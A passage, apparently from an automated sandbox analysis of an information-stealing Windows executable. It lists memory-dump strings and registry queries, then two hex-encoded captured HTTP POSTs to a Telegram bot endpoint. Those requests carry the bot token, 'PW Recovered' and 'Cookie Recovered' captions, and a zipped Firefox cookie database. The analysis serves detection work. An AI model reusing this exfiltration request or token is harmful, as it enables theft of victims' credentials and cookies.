00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp") Found string "Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition2" (Indicator: "\Device\"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "Win32API|System Information Functions|GetSystemDirectory|\drivers\etc\lmhosts" (Indicator: "\drivers\"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "%SystemRoot%\System32\drivers\etc" (Indicator: "\drivers\"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "%SystemRoot%\System32\drivers\etc" (Indicator: "system32\drivers"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "SystemDevice = "\\Device\\HarddiskVolume2";" (Indicator: "\Device\"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "\Device\HarddiskVolume1" (Indicator: "\Device\"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp")52:T95a,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\SCHTASKS.EXE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\EE57B6FA1E5A3C5EF776B79F32820327BCB3FE1974EEDDF65C0EB56131193397.EXE"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "")53:Tbf63,"POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dda8ed1894790b Host: api.telegram.org Content-Length: 807 Connection: Keep-Alive" with payload::==> "0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:68:61:74:5f:69:64:22:0d:0a:0d:0a:2d:36:37:35:35:38:31:38:35:30:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:61:70:74:69:6f:6e:22:0d:0a:0d:0a:4e:65:77:20:50:57:20:52:65:63:6f:76:65:72:65:64:21:0a:0a:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:2f:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:0a:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:0a:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:0a:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:0a:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:64:6f:63:75:6d:65:6e:74:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:61:41:4f:78:77:33:5a:2d:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:20:32:30:32:35:2d:30:36:2d:31:31:20:31:33:2d:33:37:2d:31:34:2e:68:74:6d:6c:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:74:65:78:74:2f:68:74:6d:6c:0d:0a:0d:0a:54:69:6d:65:3a:20:30:36:2f:31:31:2f:32:30:32:35:20:31:33:3a:32:36:3a:32:38:3c:62:72:3e:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:3c:62:72:3e:43:6f:6d:70:75:74:65:72:20:4e:61:6d:65:3a:20:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:3c:62:72:3e:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:3c:62:72:3e:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:3c:62:72:3e:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:3c:62:72:3e:49:50:20:41:64:64:72:65:73:73:3a:20:3c:62:72:3e:3c:68:72:3e:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:64:31:38:39:34:37:39:30:62:2d:2d:0d:0a" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Wed 11 Jun 2025 13:20:08 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>37623A32323A36663A36623A32323A33613A36363A36313A36633A37333A36353A32633A32323A36353A37323A37323A36663A37323A35663A36333A36663A36....... "POST /bot5409839916:AAEYUYZy0IhJQAm4VXi620si4okGW8FDL2w/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dda8ee9333d20b Host: api.telegram.org Content-Length: 15031" with payload::==> "0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:68:61:74:5f:69:64:22:0d:0a:0d:0a:2d:36:37:35:35:38:31:38:35:30:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:63:61:70:74:69:6f:6e:22:0d:0a:0d:0a:4e:65:77:20:43:6f:6f:6b:69:65:20:52:65:63:6f:76:65:72:65:64:21:0a:0a:55:73:65:72:20:4e:61:6d:65:3a:20:61:41:4f:78:77:33:5a:2f:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:0a:4f:53:46:75:6c:6c:4e:61:6d:65:3a:20:4d:69:63:72:6f:73:6f:66:74:20:57:69:6e:64:6f:77:73:20:31:30:20:50:72:6f:0a:43:50:55:3a:20:49:6e:74:65:6c:28:52:29:20:43:6f:72:65:28:54:4d:29:20:69:37:2d:31:30:37:30:30:20:43:50:55:20:40:20:32:2e:39:30:47:48:7a:0a:52:41:4d:3a:20:38:31:39:31:2e:34:39:20:4d:42:0a:0d:0a:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:2d:38:64:64:61:38:65:65:39:33:33:33:64:32:30:62:0d:0a:43:6f:6e:74:65:6e:74:2d:44:69:73:70:6f:73:69:74:69:6f:6e:3a:20:66:6f:72:6d:2d:64:61:74:61:3b:20:6e:61:6d:65:3d:22:64:6f:63:75:6d:65:6e:74:22:3b:20:66:69:6c:65:6e:61:6d:65:3d:22:61:41:4f:78:77:33:5a:2d:6f:77:5a:41:4e:30:4f:38:33:54:4b:53:7a:37:41:20:32:30:32:35:2d:30:36:2d:31:31:20:31:33:2d:34:37:2d:35:38:2e:7a:69:70:22:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:7a:69:70:0d:0a:0d:0a:50:4b:03:04:14:00:00:00:08:00:90:a5:9c:4d:8f:bb:02:2b:a4:36:00:00:00:00:08:00:3d:00:48:00:73:68:76:6b:63:69:71:6c:2e:6f:74:74:2f:46:69:72:65:66:6f:78:2f:50:72:6f:66:69:6c:65:73:2f:79:77:7a:75:37:38:37:30:2e:64:65:66:61:75:6c:74:2f:63:6f:6f:6b:69:65:73:2e:73:71:6c:69:74:65:01:00:20:00:00:00:00:00:01:00:18:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:0a:00:20:00:00:00:00:00:01:00:18:00:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:f7:86:2d:30:31:9f:d4:01:ed:dd:0f:ac:2b:d9:7d:1f:f6:b7:d2:ea:59:76:fc:bc:bb:5e:4b:2b:7b:bd:d6:93:d7:2b:65:b5:ba:ef:cd:1f:0e:ef:a5:ec:b5:4c:72:66:48:ce:e5:0c:ef:fc:39:67:38:23:c9:57:c3:99:79:1c:72:fe:90:97:1c:92:c3:d1:fb:a3:95:91:3f:8d:53:43:0a:10:c3:71:9c:38:6d:80:1a:46:8a:b4:70:1a:a4:6d:6a:20:41:5d:04:4d:9b:c4:45:5b:a0:4e:83:c6:76:82:ba:2e:e2:06:68:2b:d4:01:82:a4:87:f7:bd:27:bd:7f:bb:b2:a1:b4:36:90:ef:07:7a:cb:c7:e1:f0:f0:cc:99:73:7e:e7:f7:bb:f7:3e:5d:db:1c:ce:ca:f8:fa:ad:c5:2a:0f:ca:eb:e2:95:2f:5d:79:df:fb:ae:fc:d8:f5:eb:57:ae:5c:79:fe:c1:9f:87:de:f7:c4:f3:e7:d8:9f:6f:bf:f2:de:9e:bf:72:e3:7b:7e:e3:da:bd:df:bd:f2:fe:3b:bf:78:e5:ee:f7:dd:fb:db:ec:01:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:e0:5b:b3:78:ff:b7:bd:f2:e6:eb:cf:bd:f3:d1:59:11:c5:55:be:a8:cf:27:c1:3a:8e:16:79:30:2b:0e:cf:c2:c5:22:9d:c5:eb:e7:bb:96:d2:76:94:eb:03:43:56:c6:d7:1f:3f:ed:fa:c8:b8:fe:c8:a9:d7:ff:e8:e1:25:f9:f2:a5:4f:5d:5f:ac:66:d3:59:d1:2e:cb:d5:6c:b2:29:e3:f5:9b:3f:f1:43:cf:7d:db:2b:af:bf:fe:dc:1f:7f:a1:0c:26:59:fc:c8:1b:1f:f9:eb:fb:1e:7c:9c:d3:ee:0c:95:c7:1b:9f:45:ac:13:8e:d2:53:ac:eb:67:d6:40:6f:5b:de:f5:53:c5:fb:d4:f5:6f:7c:e8:75:47:19:3b:4f:7f:f2:e5:e1:eb:c6:88:fd:21:c3:e1:75:59:51:db:64:e8:5c:ff:c4:27:3e:75:bd:08:f2:f8:c1:bb:b6:41:b6:79:f8:f7:64:b1:2e:1f:fc:75:19:94:c9:83:bf:c6:d5:72:b6:da:3f:ec:c4:a7:ae:67:c1:ba:6c:87:61:bc:66:e3:f1:8d:a3:e1:2a:0e:ca:d9:a2:70:66:ac:e9:af:1f:9d:ad:ed:38:dc:ac:1e:3b:d2:2f:cb:e5:a8:c8:1e:69:71:56:74:56:8b:dd:3a:5e:29:6c:7c:e2:a2:fc:fa:05:3f:ec:33:f7:a9:eb:6b:d6:65:7b:56:c6:cf:7a:ad:3b:32:6c:c7:6a:b3:57:2e:87:6e:53:cc:2e:36:31:1b:37:62:0c:4c:a2:5c:ff:a3:87:cb:bd:7f:75:f7:2f:ec:19:77:e9:4d:e9:7d:57:5f:19:bc:fe:dc:95:cb:69:b1:be:c8:d8:47:9d:07:9b:72:71:f9:fc:fc:91:3b:72:ce:3f:f2:e4:fd:6c:46:7d:f0:30:ad:ae:ad:ff:8b:2b:9f:fc:11:e7:fd:77:ff:e5:bd:5f:b8:37:bc:fb:1f:dd:b1:6f:9f:7e:f1:67:eb:7f:bd:ff:e7:95:be:fb:cf:76:64:fb:d7:d6:e7:65:6f:f5:77:57:57:2f:be:b0:fe:ed:a5:90:bf:9d:bd:92:bc:6a:fe:cd:d3:df:3e:fd:be:fa:2f:dd:f9:a7:1b:ae:fa:85:f3:ff:d3:fb:a7:9d:df:7d:fb:e8:47:7e:f9:47:9c:cd:5f:2d:7f:f3:ee:c9:96:6c:be:56:fb:3f:fc:bf:fe:01:af:19:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:b8:32:f5:5f:b8:f2:89:6b:1f:22:6f:be:f0:fc:d5:ab:df:fe:ed:1f:fc:60:3e:0b:57:8b:f5:e2:56:79:23:5c:e4:3a:19:c8:bc:10:f0:7c:a3:25:1d:9d:08:7c:f3:a8:d1:3c:09:8f:26:8d:f8:d6:51:8b:0f:38:5e:6a:36:e2:28:3a:be:f1:d8:bb:6e:9e:bf:f4:e7:e4:2b:1f:b8:e0:3f:d5:fa:e9:fe:e1:f1:bb:ff:f7:af:7e:a1:f0:0e:1f:f4:9a:7e:fc:cc:0f:2a:93:ea:7c:ba:99:45:0d:a9:75:eb:38:94:4e:a4:30:0c:1b:31:3f:09:e2:56:93:13:5b:bc:78:32:69:89:b7:a2:78:9b:ad:c3:e5:32:7e:e2:f3:a2:3f:f3:cf:fe:cb:c7:3e:ef:7f:f9:0d:ee:27:fb:e3:17:af:1c:5d:7b:ed:cf:de:11:1f:7e:e2:76:b6:de:04:d9:ba:dc:44:b3:c5:e1:7d:6a:1c:b5:37:65:c2:47:1c:6f:04:35:ed:5a:39:df:27:9c:a1:3a:73:5f:9a:a8:86:3a:51:fc:8b:40:4d:1b:e1:b8:bd:8d:dc:32:b0:7a:6a:e9:92:72:68:38:5a:df:ea:5b:96:5b:d0:c2:73:b5:33:37:9d:72:56:df:5b:79:c4:a0:e6:ac:94:27:7c:34:8a:33:23:70:65:ca:91:a2:a3:4d:38:4d:9b:88:d6:7e:42:3b:fd:d0:2d:95:a8:f0:13:83:e3:2a:8f:e3:53:df:89:24:27:cf:a4:30:8f:d6:c1:dc:98:4f:68:62:fa:62:56:b9:8a:55:51:4e:5d:9b:b5:d6:9f:f4:24:8f:72:d1:9e:f4:2d:c5:51:b8:9d:95:65:a7:9e:c0:f7:a8:a8:9a:01:a5:a3:b0:57:36:29:e1:d7:23:35:d2:ad:d4:94:cc:b1:df:33:14:75:e5:8b:96:67:e4:d9:9a:aa:83:da:72:a3:c5:a1:0f:11:4f:75:5f:0c:2b:a2:68:fa:48:4e:25:8f:48:6b:c3:d5:79:2f:a5:63:a7:36:f6:8e:43:6a:3b:5f:1a:76:cf:68:4c:7a:cb:f5:48:89:1c:2f:9b:ee:02:a5:5a:10:9e:34:02:b2:ab:9d:74:b0:37:e7:e6:de:98:a7:22:ad:7d:db:2a:8c:9e:47:76:55:dc:4f:b4:38:37:76:c3:7a:5a:79:a4:ea:47:1c:1b:13:a1:ec:87:dc:b2:76:9d:a8:34:04:a3:e9:ed:5b:82:e9:2e:97:94:f8:4b:bb:48:06:5e:16:19:93:5c:2a:03:a2:79:a6:a8:72:16:35:6c:4f:f0:57:a4:57:35:0c:9a:f0:4e:aa:92:53:de:48:27:4e:b8:f7:c6:91:69:0b:51:32:a1:46:cf:22:c9:d6:e3:96:5d:5f:e0:15:c3:cd:d6:ce:58:5b:9b:24:e1:22:4a:b7:43:41:ba:b0:b3:64:6b:f2:cb:3e:29:a8:4e:8b:88:37:e7:b4:af:ab:8b:da:51:2c:65:52:50:27:26:ea:ce:e2:96:ec:da:32:3f:e2:b3:8c:90:35:47:84:25:e7:e5:95:a2:f7:96:94:8d:ad:1e:14:8b:95:21:2c:53:27:2d:13:22:64:5d:5b:59:34:74:62:c9:4e:91:ec:4e:85:6a:66:c9:ba:30:e1:7d:25:4a:33:c3:ed:f1:f6:48:51:33:2a:d3:d5:24:e5:ab:60:ee:07:7a:61:ed:ec:c2:14:f5:31:5d:46:a2:ef:5a:7c:56:b8:39:b7:b5:78:ba:f1:44:63:61:12:a3:a0:4a:25:b0:f1:3e:73:c7:aa:a5:73:91:1a:3b:c9:d8:1a:67:03:93:ac:6b:a7:1e:34:6c:b9:33:a7:34:e9:b0:31:d2:e9:38:da:18:44:e2:1d:8e:13:74:41:1a:9e:8a:a4:b2:7a:4b:9e:8d:f5:de:cb:fc:5c:e7:fc:f5:a4:1f:19:d6:d8:b2:02:62:f1:a4:1f:6e:fd:b9:bf:9b:f4:7d:cf:2c:b2:91:99:51:ef:b4:56:37:81:68:b9:61:ea:2f:8d:79:a7:36:dc:6a:76:ca:59:f3:49:4e:a9:45:06:95:cf:fb:a5:43:8d:9d:3f:9e:6e:43:37:73:0d:5e:a5:3e:a1:03:bf:17:6d:46:8e:d1:b7:69:74:3a:72:4f:56:91:68:a4:23:25:14:2d:36:8f:d9:5a:21:0e:99:ae:88:3b:d8:3a:7c:a4:c7:7d:df:b2:6b:ba:73:b8:2c:09:54:36:77:28:f5:ad:5e:d5:09:dc:f2:cc:cc:b4:da:4a:17:0d:e2:2e:37:b4:7b:52:d9:4e:d4:a1:9c:55:4c:7a:86:a3:13:6d:1f:aa:9a:e4:a5:86:ad:cb:99:a3:e7:be:1e:f5:8d:99:53:84:75:20:d2:a6:d5:ef:68:f1:58:e1:ec:de:62:ef:13:af:0e:c6:b4:0c:b9:56:cf:e8:65:b6:39:d7:d6:a7:e2:b2:88:e6:8a:68:ab:56:e0:16:2a:3f:72:bc:15:21:fc:c8:62:6b:c6:55:b3:59:e0:46:82:ab:2c:67:13:39:9a:b3:35:72:16:2b:ad:1e:49:a3:d3:28:8b:2e:5c:45:92:7d:45:9b:4d:c6:cb:7d:c8:d3:ea:94:ef:70:4e:9a:0d:8c:7e:62:9f:f2:3a:4f:7b:6b:89:3a:5a:32:e4:a3:dc:cd:32:6e:42:f4:46:58:2c:77:f6:d8:dc:3b:d9:60:1b:cc:c3:5d:9c:66:75:e8:52:d7:cd:95:7d:ec:56:5b:db:0d:1b:24:df:6d:03:31:32:83:fe:52:8d:dc:a5:3c:72:97:6c:36:53:6f:d2:5f:34:22:41:4d:26:79:25:45:45:32:f2:7b:aa:7a:2a:2c:87:ba:eb:5f:b8:45:c2:fa:59:4a:b4:5b:76:ad:71:34:74:64:ad:13:ce:3b:a2:35:37:4c:b7:6f:a8:36:b1:1a:8e:10:75:8d:5c:d5:e8:38:3b:75:73:16:d2:5c:df:33:0a:c2:4d:e4:8e:18:bb:2d:cf:9c:47:92:cd:65:dd:a0:26:9c:a5:24:85:cf:b7:b9:30:33:4a:ea:18:b2:cf:2f:38:7f:6c:e5:51:66:d9:c4:ad:ec:a0:ef:af:0e:7d:9c:f4:d5:0e:e9:59:34:ac:13:2d:48:a3:bd:5f:fb:7e:94:0d:24:da:ef:ac:c2:9e:ba:f4:e8:72:19:08:cb:60:34:b6:aa:80:5a:6b:bb:17:9d:e9:82:a1:51:67:20:b0:fe:9b:13:aa:b4:ce:ba:2d:79:22:b4:56:81:4b:de:62:7f:77:7c:36:83:c2:3c:e3:62:62:6c:27:85:95:c5:7d:8b:4c:84:32:9b:cc:1b:6f:e7:fb:1b:4f:86:e4:9b:9f:75:5f:7d:eb:10:c2:b7:b4:fa:f5:cb:50:fe:8f:de:f7:df:7d:e5:a3:ee:21:94:bf:fa:f3:47:df:2c:94:1f:1f:6f:6e:9e:c9:ad:c6:c4:dd:4d:a3:9c:ee:43:21:db:4e:e6:dc:4c:b7:1b:bb:c1:ac:93:4d:72:63:eb:f7:b2:8d:5f:73:b3:88:8d:c0:d0:99:ce:ce:ea:c6:09:11:e8:3c:1a:6b:cb:a8:9f:b1:de:4b:6c:74:12:8e:f6:5a:2b:df:6d:4c:43:59:69:da:ae:d9:1a:64:27:bc:ce:ce:f3:5c:22:e9:5d:4e:34:9c:54:18:3a:66:ed:cb:61:e9:b9:de:de:ef:f2:33:a3:37:e0:f4:79:92:fb:72:32:f3:e7:d3:52:57:d4:8e:c1:99:b5:39:57:78:93:23:bc:ae:78:bc:a1:78:95:ae:18:6c:be:4f:39:83:1c:ce:57:1a:23:39:9c:0d:fa:49:c9:22:7d:3d:2a:da:d5:99:ad:2d:a2:be:b5:1b:cd:4e:58:7f:5b:f3:70:2f:6d:bd:b1:b1:0c:f7:fc:36:ec:d1:cd:30:6f:ed:fd:7d:4b:0c:45:7d:ab:cf:db:3b:a3:7b:b2:d3:ed:d6:83:73:b8:bd:2e:b7:39:5d:56:4a:b6:4a:eb:e1:38:aa:c3:af:5f:5f:5a:b2:eb:5e:4e:7a:ec:8e:d8:5c:35:9c:b7:37:71:df:48:d9:d8:b0:31:ab:36:21:1b:97:a0:6f:71:a1:bc:60:51:d4:da:7a:a2:be:99:08:2a:5b:69:7a:39:11:d9:f8:cd:a4:6d:98:87:db:48:d4:cb:50:9c:de:7f:bc:df:76:e6:09:ad:cd:fd:31:57:b9:c0:6d:6d:86:f5:60:a7:cb:a4:d2:67:83:b7:ce:94:2c:f5:5d:89:1d:f7:97:fe:78:f0:16:3b:7f:33:2a:28:1f:b8:66:73:e4:f8:33:63:3e:d8:8f:64:af:34:ea:b6:64:cc:38:36:26:9d:7c:e8:2a:0d:f6:bc:f4:72:22:78:8e:c7:79:c2:a0:32:04:5d:64:b3:4a:f3:d9:18:44:bd:2c:0f:5c:ba:3f:9b:57:0f:67:dc:34:ee:f1:eb:49:a1:b7:06:39:db:09:fa:ed:e6:70:df:aa:3d:21:c9:26:ae:5a:0f:73:7e:e9:89:da:36:14:5a:79:d4:95:e6:13:81:3b:f4:ff:fe:f8:cd:4e:76:86:dd:aa:bf:3e:5b:ed:c1:5b:ba:9a:a5:26:1f:05:6e:da:2a:6d:c7:ea:98:54:ed:98:e4:84:0b:84:52:74:d2:90:67:59:81:e4:d4:fa:de:51:93:b5:9d:51:4a:84:75:15:88:c9:7a:d2:53:83:21:67:f8:6c:a7:f3:2d:2e:e9:59:ae:d5:f5:04:69:6e:d6:56:30:49:59:a4:71:a9:ad:67:4a:e5:39:9d:86:39:ce:1c:2a:4e:57:9e:d3:5e:e9:c4:08:46:72:34:f3:68:47:30:48:d5:08:1c:93:65:0c:9a:a4:f7:2c:6e:c2:49:9b:09:c9:d4:88:70:95:95:fb:82:e7:b6:ca:d0:ad:3a:6e:cf:d8:44:35:55:87:7c:a7:e1:a7:34:a1:29:8b:60:8e:56:05:ec:5a:9c:9a:f6:e3:5c:af:7d:5e:65:f7:ad:a5:05:bd:d6:c0:16:78:51:57:a6:7b:7f:ac:76:9c:c2:18:d8:2c:3a:10:7e:29:ea:3d:cd:9d:88:59:9f:e6:5a:c0:e6:a0:1c:a6:ea:ca:1e:27:82:c9:f9:dd:91:3a:e5:dd:dc:cf:83:4c:9d:d9:63:8d:04:6e:22:e8:63:23:3f:15:58:1f:94:46:ed:cd:43:d1:e4:ac:5d:28:66:17:2e:59:ee:4d:97:77:74:37:52:cc:42:2b:46:63:ba:f5:39:73:e7:b0:f5:40:ed:d2:66:11:d4:70:28:e5:d8:2e:ea:eb:bd:4a:32:84:d2:39:7c:96:91:97:7d:47:e1:87:6c:bd:48:74:5f:76:03:a2:6a:01:bb:6f:fe:bc:d3:a5:dd:d6:28:1a:87:bc:c9:66:d0:a8:c7:35:88:c3:76:9a:7c:d7:70:48:6b:65:f2:26:af:53:23:a3:85:65:da:73:2a:99:44:4d:0d:57:5d:b1:1d:4d:f2:c7:d1:38:ce:97:1a:15:1a:7b:7f:6e:58:2c:ba:f5:7d:85:9e:59:d4:ea:3a:54:63:d9:5a:c5:76:dc:d6:6c:a2:44:84:b8:ad:0b:37:5f:5e:b6:39:11:a8:19:ab:34:0d:e7:49:15:a6:6b:81:ad:23:c1:e3:a4:22:ec:45:06:49:d5:8e:45:d4:8e:3d:36:ba:a4:97:5d:10:21:f1:4d:8e:ed:e5:5c:56:44:b9:b1:76:c4:c8:9b:a4:8b:5a:17:97:89:6f:af:d9:67:a8:a9:25:13:de:52:5a:5d:5d:61:91:35:57:1a:d4:6e:b9:a7:e2:a2:32:e6:51:d3:9d:d3:9e:3b:66:31:49:28:97:6e:96:2c:d8:ae:78:16:a7:95:1c:89:5a:19:d6:5a:6e:a8:da:c2:4b:2b:9b:cd:8d:a1:9f:a5:7b:5f:30:fa:46:5e:65:4e:91:e5:6e:be:16:03:5e:23:93:b4:ec:78:a2:95:04:fc:72:6b:53:53:74:54:5f:21:5c:4b:09:e7:19:61:e3:38:74:ed:35:6f:38:59:1d:f7:d9:df:5d:b5:a7:ab:9e:64:ba:74:41:b8:f2:22:e4:ca:1e:cb:60:0a:96:75:56:66:ad:b0:39:a3:29:41:df:b0:03:e2:1d:32:e0:4e:a8:68:99:a1:94:86:91:b5:a5:90:8f:86:46:91:0d:48:d6:29:4e:85:50:f0:c6:8b:3d:49:b3:9e:6f:b7:06:7a:1e:cd:47:a4:5a:bb:79:56:d2:5e:66:59:42:95:d8:69:d4:09:32:22:c4:05:cb:50:ec:56:6a:d4:9d:5e:50:9b:0d:3d:4f:b7:91:a3:37:a8:c2:ef:ec:b9:41:23:a7:d3:b5:8a:cc:0f:58:06:32:92:8d:ca:91:c3:6a:32:8e:3c:7f:4c:1a:3a